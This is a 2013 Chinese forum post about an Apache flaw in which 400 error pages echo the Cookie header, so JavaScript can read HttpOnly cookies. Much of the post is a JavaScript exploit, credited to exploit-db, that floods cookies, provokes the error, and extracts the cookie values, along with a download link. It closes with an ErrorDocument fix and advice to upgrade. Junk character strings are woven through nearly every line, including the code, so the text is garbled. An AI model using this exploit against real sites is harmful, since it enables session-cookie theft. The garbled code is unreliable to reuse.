找回密码
 立即注册
查看: 3141|回复: 0
打印 上一主题 下一主题

Apache HttpOnly Cookie XSS跨站漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:15:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。
9 U5 m$ I$ V/ w2 n
* i# v- c! F: P用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:2 g9 N* o, Q3 F8 c" Z7 P

# g8 D+ a& n" m# B% g# ~& H
' B5 W, h: `9 U, L+ P// http://www.exploit-db.com/exploits/18442/
6 V# V" N0 c5 e6 N2 w* J0 B' ofunction setCookies (good) {/ D9 g* j; e2 m$ x+ ^/ V+ U
// Construct string for cookie value: G8 K0 j4 y0 K- C
var str = "";1 s+ U) z: p0 X# ~7 |4 h9 ~, U
for (var i=0; i< 819; i++) {$ L- v5 @- |3 ^4 f  h' X! N
str += "x";- K" E" h5 `1 s2 Z) f: a# p
}
: `# I! p) \2 m# \5 U  A// Set cookies! C+ L7 q- V' h( i3 v2 y
for (i = 0; i < 10; i++) {
- l9 o0 @- B- K+ H- j// Expire evil cookie
6 L" J. K4 N& e& _6 S6 qif (good) {
. V1 F; B- w' |7 @var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
  g% g. i4 b8 ~2 I! y% |" j}
: g1 [' ]5 T9 W. J; n* a% b: o// Set evil cookie4 |, S# [* t/ P; Z
else {8 R4 L9 c2 t; d* w+ S& O
var cookie = "xss"+i+"="+str+";path=/";1 U7 d: ~( C& J8 w* }
}3 R0 q& C% @- I! Q! u  }
document.cookie = cookie;
$ t* M" A; {) l}
# |5 S' V4 X) o0 W}
# R6 {# a* g" U3 @! ~' tfunction makeRequest() {
3 u( y4 g6 N, _2 ?setCookies();' i% M% L& h* L
function parseCookies () {
7 N  R+ s* X2 k1 W& l8 P) A  xvar cookie_dict = {};1 J8 [! y$ s' a- E; r
// Only react on 400 status
! m3 v9 ]6 d; U) L# j4 T" xif (xhr.readyState === 4 && xhr.status === 400) {
7 {& s, D1 v% D// Replace newlines and match <pre> content2 d( u0 M' V2 h1 E1 ?+ r9 [
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);" Q! B! S  n. u) X  t& K0 ?  k
if (content.length) {
) y3 f# s0 E, `& W* M7 H; z) r// Remove Cookie: prefix
# Q" l( S, Y, ]% I4 c  Vcontent = content[1].replace("Cookie: ", "");
( g: A! r! H  N% N9 ]9 i7 m' ~# kvar cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
* o0 C: a) F0 d& f// Add cookies to object  P/ [& q6 I  u) S8 [
for (var i=0; i<cookies.length; i++) {
7 ]4 Y5 y& u9 m& Xvar s_c = cookies.split('=',2);
2 g% g* O$ s9 u; Y( Gcookie_dict[s_c[0]] = s_c[1];
9 v  g' n1 c. d6 p}/ {6 V0 ?% X4 d' Q( R/ e% D' B
}
& x1 P0 I* X  p5 C% g; L, m// Unset malicious cookies
0 N3 a% l* `/ K+ a. p5 G/ Q; y0 a/ YsetCookies(true);
* [6 I& R' M% J8 b, Z2 Dalert(JSON.stringify(cookie_dict));
* U- V3 l$ h$ K, a+ |}/ j- c) T: X4 Z3 a& b4 @
}* G$ a% p* x7 \1 b
// Make XHR request0 _! _& u$ K1 |% f) [6 Q6 X
var xhr = new XMLHttpRequest();& }0 p# [% K2 Y9 V! i' Y0 y
xhr.onreadystatechange = parseCookies;
$ X, V' X+ E- J1 g: Q; _4 Hxhr.open("GET", "/", true);. T% }' g+ ]' P& |& g. I
xhr.send(null);. B) W# N+ x- s! N9 N4 ^, M& L
}
/ [  l* q0 Z& t& omakeRequest();
7 z2 M8 K) j1 f8 @6 o! k! J
. B: ?2 C* T0 N) w" }8 S* p9 U你就能看见华丽丽的400错误包含着cookie信息。
9 U& n& i' [3 T3 T% t+ G; x$ T) i5 v* U+ v
下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
# n& e- S% \( J! T& @$ \# n# S& ?+ v& v* @
修复方案:+ J- A% |" q- g5 |' e! B

+ D- j, B5 {4 }' uApache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下2 X0 F; c+ q- R9 \

- s4 _, ^0 m8 zIn the event of a problem or error, Apachecan be configured to do one of four things,& R+ O  ^$ Z0 C  _% {

- f( p: M, U, }- r  q( g* U1 x  b, S1. output asimple hardcoded error message输出一个简单生硬的错误代码信息, k9 c$ D3 i/ y/ w6 }! T7 K
2. output acustomized message输出一段信息. Q6 t& C$ T6 n" n+ ~% d$ I, ^1 z. _8 p
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
( {& ~7 f- m, z0 K1 G5 B4. redirect to an external URL to handle theproblem/error转向一个外部URL# h, g# c, G- P
! Z5 O4 Z/ I9 e& d5 u3 K
经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容
) p) v2 \) [+ _, J+ Z6 j9 a5 G
1 T. b& N) _. b. t2 x7 J* Q! GApache配置:' y' U$ A# L+ ]8 C% p# d7 N/ V: ~+ q
; W2 b( t: P# Q1 b% O
ErrorDocument400 " security test"
. x+ |% P% \1 _
4 g0 h# ~0 I& L  v5 l当然,升级apache到最新也可:)。
5 b# r" ~- r6 p
& w( m8 u, T' o& s- m, X参考:http://httpd.apache.org/security/vulnerabilities_22.html4 w' `; A$ g1 d$ W" u7 Q* g

4 Q: D0 G( Y8 s2 t
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表